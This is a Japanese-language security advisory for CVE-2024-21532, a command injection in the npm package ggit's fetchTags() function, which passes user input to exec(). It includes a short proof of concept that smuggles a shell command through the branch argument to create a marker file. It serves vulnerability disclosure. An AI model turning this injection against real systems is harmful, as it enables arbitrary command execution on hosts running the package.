CVE-2024-21532 ggitにおけるコマンドインジェクションの脆弱性

ggitは自身を次のように説明しています：

Local promise-returning git command wrappers

リソース：

• プロジェクトのGitHubソースコード：https://github.com/bahmutov/ggit
• プロジェクトのnpmパッケージ：https://www.npmjs.com/package/ggit

この脆弱性に関する記事：https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability

悪用の背景

私はggit npmパッケージにおけるコマンドインジェクションの脆弱性を報告しています。

この脆弱性は、ライブラリのfetchTags(branch) APIに現れます。このAPIは、ユーザー入力でフェッチするブランチを指定できるようにし、その文字列をgitコマンドと連結して、安全でないNode.js子プロセスAPIであるexec()に渡します。

エクスプロイト

1. [email protected]以前をインストール
2. 次のPOCを実行：

const fetchTags = require("ggit").fetchTags;
fetchTags("; touch /tmp/3cpo #").then(function () {
  // should be same as running command
  // git pull origin --tags
  console.log("done");
});

3. ディスク上に/tmp/3cpoファイルが作成されることを確認

コントリビューション

このプロジェクトへのコントリビューションのガイドラインについては、CONTRIBUTINGを参照してください。

著者

Liran Tal